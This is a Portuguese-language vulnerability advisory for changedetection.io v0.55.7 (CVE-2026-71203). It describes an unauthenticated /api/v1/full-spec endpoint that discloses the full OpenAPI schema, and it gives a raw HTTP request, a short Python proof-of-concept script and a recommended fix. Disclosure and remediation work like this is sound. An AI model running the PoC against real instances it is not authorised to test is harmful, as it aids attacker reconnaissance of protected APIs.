
PoC: divulgação não autenticada de schema OpenAPI no changedetection.io (CVE-2026-71203, Média 5.3)
Produto: dgtlmoon/changedetection.io — v0.55.7
Arquivo: changedetectionio/api/Spec.py
CWE: CWE-306 — Ausência de autenticação para função crítica
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (Médio)
CNA: Turan Security · Registro CVE
Os recursos da API REST do changedetection.io são protegidos por um decorador @auth.check_token
que valida o cabeçalho x-api-key do chamador — exceto o recurso Spec registrado em
/api/v1/full-spec (changedetectionio/api/Spec.py), cujo método get não contém nem
@auth.check_token nem @validate_openapi_request.
Qualquer cliente de rede não autenticado pode recuperar o esquema OpenAPI completo da instância, divulgando toda a superfície da API interna (todos os caminhos de recursos, parâmetros e formatos de resposta) sem apresentar nenhuma chave de API. Embora o esquema em si não seja dado sensível do usuário, ele entrega ao atacante um mapa completo e autoritativo de todos os outros endpoints de API a atacar — reduzindo o custo de reconhecimento adicional contra os recursos realmente protegidos da instância.
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
Nenhum cabeçalho x-api-key, cookie ou qualquer credencial é necessário. A resposta é o documento
de especificação OpenAPI completo.
Prova de Conceito (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
Todos os outros recursos REST da API são registrados com @auth.check_token (e
@validate_openapi_request) aplicados aos seus métodos manipuladores; o método get do recurso
Spec não foi decorado da mesma forma, deixando-o como o único endpoint não autenticado em uma
superfície de outro modo protegida por chave de API.
Aplique @auth.check_token a Spec.get(), de forma consistente com todos os outros recursos da API, ou, se o
esquema for destinado a ser público, torne isso uma decisão explícita e documentada, em vez de uma
inconsistência.